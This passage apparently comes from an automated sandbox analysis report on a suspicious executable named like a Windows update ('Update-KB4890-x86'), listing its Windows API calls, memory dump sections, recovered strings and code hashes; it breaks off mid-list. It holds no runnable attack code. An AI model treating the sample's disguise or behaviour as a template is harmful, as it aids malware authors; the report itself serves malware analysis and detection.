                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,00000000,0042B335,?,00000000), ref: 0042B680
                                                                    • GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 0042B692
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharMultiStringTypeWide$ErrorLast
                                                                    • String ID:
                                                                    • API String ID: 3581945363-0
                                                                    • Opcode ID: 065b806abc50d4fe4b2ec313b7b0f5159d82bf3686ad449a59d1a901a37e99c5
                                                                    • Instruction ID: f0f8bd57be9de59517cc605bd017ac116da641922c0873b55133153ad94c77ef
                                                                    • Opcode Fuzzy Hash: 065b806abc50d4fe4b2ec313b7b0f5159d82bf3686ad449a59d1a901a37e99c5
                                                                    • Instruction Fuzzy Hash: 8041C231A00235EBCB219F61FC45BAF3B65EF48760F94411AF914A7290C779C951CBE9
                                                                    APIs
                                                                    • lstrlenA.KERNEL32 ref: 0041AEB7
                                                                      • Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
                                                                      • Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectOverlappedResultSingleWaitlstrlen
                                                                    • String ID: TI$I$Q$T$U
                                                                    • API String ID: 1203007601-4180699136
                                                                    • Opcode ID: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
                                                                    • Instruction ID: 301686960094d4809af912793bbcb5906ed8551e1f1d0e03f2bc55d77cb3246a
                                                                    • Opcode Fuzzy Hash: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
                                                                    • Instruction Fuzzy Hash: 19F0C26510C390AED301D329D84479FBFC49BD5318F48C95EF0DC86291D678C588C767
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(80000000,80000000,0042E40C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0042C753
                                                                    • GetFileType.KERNEL32(00000000), ref: 0042C760
                                                                    • CloseHandle.KERNEL32(00000000), ref: 0042C76B
                                                                    • GetLastError.KERNEL32 ref: 0042C771
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$CloseCreateErrorHandleLastType
                                                                    • String ID: H
                                                                    • API String ID: 1809617866-2852464175
                                                                    • Opcode ID: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
                                                                    • Instruction ID: 102a8983cbf31db5d01c2ed3558011b335ab8adb99a249c34fa16b283160ce35
                                                                    • Opcode Fuzzy Hash: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
                                                                    • Instruction Fuzzy Hash: BD813730B042359AEF209BA4F8C57BF7B60AF02314F94415BE451A72C1C7BD8D46DB9A
                                                                    APIs
                                                                    • GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0042B1F3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Info
                                                                    • String ID: %C$ %C$0&C$0&C
                                                                    • API String ID: 1807457897-4187950356
                                                                    • Opcode ID: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
                                                                    • Instruction ID: 3a9998ec9ef1a123eeabf32567b225ac1ab3f60614b48bddbca3475532a99bbe
                                                                    • Opcode Fuzzy Hash: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
                                                                    • Instruction Fuzzy Hash: FA413670A043609ED705CF64E99427EBBA1DB09304FA864BBD985C7351C37D8A46CBED
                                                                    APIs
                                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
                                                                    • ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
                                                                    • ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
                                                                    • ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$Read$Pointer
                                                                    • String ID:
                                                                    • API String ID: 2018848721-3916222277
                                                                    • Opcode ID: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
                                                                    • Instruction ID: 866c534031c73db29c2cd1ecf333b056677a8ac96b3e8d6862a38f2d8022ddcb
                                                                    • Opcode Fuzzy Hash: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
                                                                    • Instruction Fuzzy Hash: 4E419C71900208EBDB24EB95CD84BEEB7B8BF44304F14412EE902772D1EB786945CBA9
                                                                    APIs
                                                                    • FindResourceA.KERNEL32(?,?,bin), ref: 00421DF1
                                                                    • LoadResource.KERNEL32(?,00000000,?), ref: 00421E03
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Resource$FindLoad
                                                                    • String ID: bin
                                                                    • API String ID: 2619053042-2854705901
                                                                    • Opcode ID: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
                                                                    • Instruction ID: 9d8cb5d61aa00d475561c7ecdaaca8325d521027bad4654bdbc150deacd057bb
                                                                    • Opcode Fuzzy Hash: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
                                                                    • Instruction Fuzzy Hash: AFF062723013315BC7219F6AAC889977BADEFD57A2755483AF901C7210C774C80287B4
                                                                    APIs
                                                                    • __EH_prolog.LIBCMT ref: 00424727
                                                                      • Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC
                                                                    • __EH_prolog.LIBCMT ref: 00424767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: H_prolog$ExceptionRaise
                                                                    • String ID: hB$invalid string position$string too long
                                                                    • API String ID: 2062786585-4136523384
                                                                    • Opcode ID: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
                                                                    • Instruction ID: 11e73fe8e2f787134ba4100129d5177836af9054e9acb309ed81b3bbf2727209
                                                                    • Opcode Fuzzy Hash: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
                                                                    • Instruction Fuzzy Hash: E1F012B2B101389AC700F7D5E945ADDB774AB18319FD0416BE101B5085DBF85608CB6D
                                                                    APIs
                                                                    • VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,00425255,?), ref: 004276FB
                                                                    • InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427779
                                                                    • InterlockedExchange.KERNEL32(00432200,00000000), ref: 004277DE
                                                                    • InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427802
                                                                    • InterlockedExchange.KERNEL32(00432200,00000000), ref: 00427862
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ExchangeInterlocked$QueryVirtual
                                                                    • String ID:
                                                                    • API String ID: 2947987494-0
                                                                    • Opcode ID: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
                                                                    • Instruction ID: 69315932293a6f15bc6fa72f35dddf1ea49eabd3a30424e24b4ce32bea02e01f
                                                                    • Opcode Fuzzy Hash: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
                                                                    • Instruction Fuzzy Hash: EA510730B086319BDB248B19FAC4B3A73A1AB41724FA5956FD511873E1D3B8EC81C65C
                                                                    APIs
                                                                      • Part of subcall function 004074A0: WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
                                                                      • Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
                                                                      • Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
                                                                      • Part of subcall function 0040B610: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
                                                                      • Part of subcall function 0040B610: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
                                                                      • Part of subcall function 0040B610: ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
                                                                      • Part of subcall function 0040B610: CloseHandle.KERNEL32(00000000), ref: 0040B760
                                                                    • GetProcessHeap.KERNEL32(00000000,00080000,00000001,00000000), ref: 0040BBCA
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 0040BBD1
                                                                    • Sleep.KERNEL32(00002710,00000003), ref: 0040BC35
                                                                    • Sleep.KERNEL32(0002BF20,00000000), ref: 0040BD47
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 0040BD77
                                                                    • HeapFree.KERNEL32(00000000), ref: 0040BD7E
                                                                      • Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$MutexRelease$FileProcessSleep$AllocCloseCreateEnvironmentExpandFreeHandleObjectReadSingleStringsWait
                                                                    • String ID:
                                                                    • API String ID: 852835205-0
                                                                    • Opcode ID: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
                                                                    • Instruction ID: dbe7561af554c473106a4ec3f17350c3c00e3f78ca735fbf8e53c6946bf8a5ce
                                                                    • Opcode Fuzzy Hash: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
                                                                    • Instruction Fuzzy Hash: 2D51B3716483415FE710DB61DC85BABBBA4EB95304F04183EF584972E2EB789405CBAE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 88afcefbdea34149f5487bb4a4a4e8b1a015dd47fa542d46d12a5e79c65998e6
                                                                    • Instruction ID: 7989a7ec8bd3e7dc296c367a6cca705834e82284c665f1faf7c5f8b3083430bb
                                                                    • Opcode Fuzzy Hash: 88afcefbdea34149f5487bb4a4a4e8b1a015dd47fa542d46d12a5e79c65998e6
                                                                    • Instruction Fuzzy Hash: 09410571F01136ABDF207F67BC888BF7AA4EA45764F91412FF814A2280D73C4D518A9C
                                                                    APIs
                                                                    • lstrlenA.KERNEL32 ref: 0041ADCA
                                                                      • Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
                                                                      • Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectOverlappedResultSingleWaitlstrlen
                                                                    • String ID: .$D$T
                                                                    • API String ID: 1203007601-2113802054
                                                                    • Opcode ID: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
                                                                    • Instruction ID: 3bc75d6c25ee899c0d3cbf15c6baa3f2471e4579f1b3dcf940514d54ae42f5c8
                                                                    • Opcode Fuzzy Hash: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
                                                                    • Instruction Fuzzy Hash: 2731C1B621C3C19BC304EA2DD44169FBBD49BE5314F44486FF19583282DB68D548C7AF
                                                                    APIs
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,004088C2,?,?,00000000,000000FF,?,00000000), ref: 00407780
                                                                    • SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,0000000A), ref: 004077A6
                                                                    • WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077C0
                                                                    • WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077D0
                                                                    • CloseHandle.KERNEL32(00000000,?,0000000A), ref: 004077D3
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
